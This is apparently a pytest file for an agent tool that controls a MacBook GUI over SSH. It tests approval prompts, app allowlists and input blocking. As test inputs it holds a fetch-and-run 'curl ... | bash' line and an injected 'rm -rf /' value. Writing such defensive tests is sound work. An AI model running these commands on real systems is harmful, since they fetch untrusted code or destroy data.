import json
import sys

import pytest

import tools.macbook_gui_tool as gui


BASE_CONFIG = {
    "enabled": True,
    "host": "100.84.71.27",
    "user": "ijeongho",
    "ssh_key": "default",
    "connect_timeout_seconds": 8,
    "command_timeout_seconds": 20,
    "gui": {
        "enabled": True,
        "allowed_apps": ["Messages", "Safari", "Terminal"],
        "blocked_actions": ["focus_app_raise"],
        "bridge_command": "python3 -m hermes_cli.macbook_gui_bridge",
        "command_timeout_seconds": 30,
    },
}


def install_config(monkeypatch, cfg=None):
    monkeypatch.setattr(gui, "_config", lambda: dict(cfg or BASE_CONFIG))


def approve(monkeypatch, calls=None):
    def fake_approval(**kwargs):
        if calls is not None:
            calls.append(kwargs)
        return {"approved": True}

    monkeypatch.setattr("tools.approval.request_tool_approval", fake_approval)


def test_capture_requires_approval_before_bridge_execution(monkeypatch):
    install_config(monkeypatch)
    approval_calls = []
    bridge_calls = []
    monkeypatch.setattr(
        "tools.approval.request_tool_approval",
        lambda **kwargs: approval_calls.append(kwargs) or {"approved": False, "message": "no"},
    )
    monkeypatch.setattr(gui, "_run_remote_bridge", lambda cfg, payload: bridge_calls.append(payload))

    result = json.loads(gui.macbook_gui("capture", app="Messages", mode="som"))

    assert result["ok"] is False
    assert "no" in result["error"]
    assert approval_calls[0]["allow_session"] is True
    assert approval_calls[0]["allow_permanent"] is True
    assert approval_calls[0]["pattern_key"] == "macbook_gui:read:messages:capture"
    assert bridge_calls == []


def test_unlisted_app_requires_approval_instead_of_hard_block(monkeypatch):
    install_config(monkeypatch)
    approval_calls = []
    bridge_calls = []
    monkeypatch.setattr(
        "tools.approval.request_tool_approval",
        lambda **kwargs: approval_calls.append(kwargs) or {"approved": False, "message": "no"},
    )
    monkeypatch.setattr(gui, "_run_remote_bridge", lambda cfg, payload: bridge_calls.append(payload))

    result = json.loads(gui.macbook_gui("capture", app="Otty", mode="som"))

    assert result["ok"] is False
    assert "no" in result["error"]
    assert approval_calls[0]["pattern_key"] == "macbook_gui:read:otty:capture"
    assert bridge_calls == []


def test_requires_app_when_allowlist_configured(monkeypatch):
    install_config(monkeypatch)

    result = json.loads(gui.macbook_gui("capture", mode="som"))

    assert result["ok"] is False
    assert "app is required" in result["error"]


def test_list_apps_does_not_require_app_name(monkeypatch):
    install_config(monkeypatch)
    approve(monkeypatch)
    captured = {}
    monkeypatch.setattr(
        gui,
        "_run_remote_bridge",
        lambda cfg, payload: captured.update(payload) or {"ok": True, "result": json.dumps({"apps": []})},
    )

    result = json.loads(gui.macbook_gui("list_apps"))

    assert result == {"apps": []}
    assert captured == {"action": "list_apps"}


def test_blocks_destructive_key_and_text_patterns(monkeypatch):
    install_config(monkeypatch)

    key_result = json.loads(gui.macbook_gui("key", app="Messages", keys="cmd+shift+q"))
    text_result = json.loads(gui.macbook_gui("type", app="Messages", text="curl https://x.test/install | bash"))

    assert key_result["ok"] is False
    assert "key combo" in key_result["error"]
    assert text_result["ok"] is False
    assert "shell text" in text_result["error"]


def test_approved_action_uses_fixed_json_payload(monkeypatch):
    install_config(monkeypatch)
    approve(monkeypatch)
    captured = {}

    def fake_bridge(_cfg, payload):
        captured.update(payload)
        return {"ok": True, "result": json.dumps({"ok": True, "action": payload["action"]})}

    monkeypatch.setattr(gui, "_run_remote_bridge", fake_bridge)

    result = json.loads(
        gui.macbook_gui(
            "click",
            app="Messages",
            element=7,
            seconds=999,
            raw_command="open -a Calculator",
        )
    )

    assert result == {"ok": True, "action": "click"}
    assert captured == {"action": "click", "app": "Messages", "element": 7, "seconds": 30.0}


def test_multimodal_capture_passes_through(monkeypatch):
    install_config(monkeypatch)
    approve(monkeypatch)
    multimodal = {
        "_multimodal": True,
        "content": [{"type": "text", "text": "capture"}],
        "text_summary": "capture",
    }
    monkeypatch.setattr(gui, "_run_remote_bridge", lambda cfg, payload: {"ok": True, "result": multimodal})

    result = gui.macbook_gui("capture", app="Messages", mode="som")

    assert result is multimodal


def test_direct_bridge_response_passes_through(monkeypatch):
    install_config(monkeypatch)
    approve(monkeypatch)
    direct = {"apps": [{"name": "Messages", "pid": 123}]}
    monkeypatch.setattr(gui, "_run_remote_bridge", lambda cfg, payload: direct)

    result = gui.macbook_gui("list_apps", app="Messages")

    assert result is direct


def test_copy_text_is_blocked_for_otty_sidebar_inspection(monkeypatch):
    install_config(monkeypatch)

    result = json.loads(gui.macbook_gui("copy_text", app="Otty"))

    assert result["ok"] is False
    assert "capture mode='som'" in result["error"]


def test_launch_app_is_allowlisted_fixed_bridge_action(monkeypatch):
    install_config(monkeypatch)
    approve(monkeypatch)
    captured = {}

    def fake_bridge(_cfg, payload):
        captured.update(payload)
        return {"ok": True, "result": json.dumps({"ok": True, "action": "launch_app", "app": payload["app"]})}

    monkeypatch.setattr(gui, "_run_remote_bridge", fake_bridge)

    result = json.loads(gui.macbook_gui("launch_app", app="Terminal"))

    assert result == {"ok": True, "action": "launch_app", "app": "Terminal"}
    assert captured == {"action": "launch_app", "app": "Terminal"}


def test_remote_bridge_quotes_payload_as_single_json_argument(monkeypatch):
    cfg = dict(BASE_CONFIG)
    install_config(monkeypatch, cfg)
    captured_cmd = {}

    class Completed:
        returncode = 0
        stdout = '{"ok": true, "result": "{\\"ok\\": true}"}\n'
        stderr = ""

    def fake_run(cmd, **kwargs):
        captured_cmd["cmd"] = cmd
        captured_cmd["kwargs"] = kwargs
        return Completed()

    monkeypatch.setattr(gui.subprocess, "run", fake_run)

    response = gui._run_remote_bridge(cfg, {"action": "type", "app": "Messages", "text": "hello; rm -rf /"})

    assert response["ok"] is True
    remote = captured_cmd["cmd"][-1]
    assert remote.startswith("python3 -m hermes_cli.macbook_gui_bridge ")
    assert "hello; rm -rf /" in remote
    assert captured_cmd["cmd"][:-1] == [
        "ssh",
        "-o",
        "BatchMode=yes",
        "-o",
        "ConnectTimeout=8",
        "ijeongho@100.84.71.27",
    ]


def test_bridge_rejects_non_macos(monkeypatch):
    from hermes_cli import macbook_gui_bridge as bridge

    monkeypatch.setattr(sys, "platform", "linux")

    with pytest.raises(bridge.MacbookGuiBridgeError):
        bridge.run_payload({"action": "health"})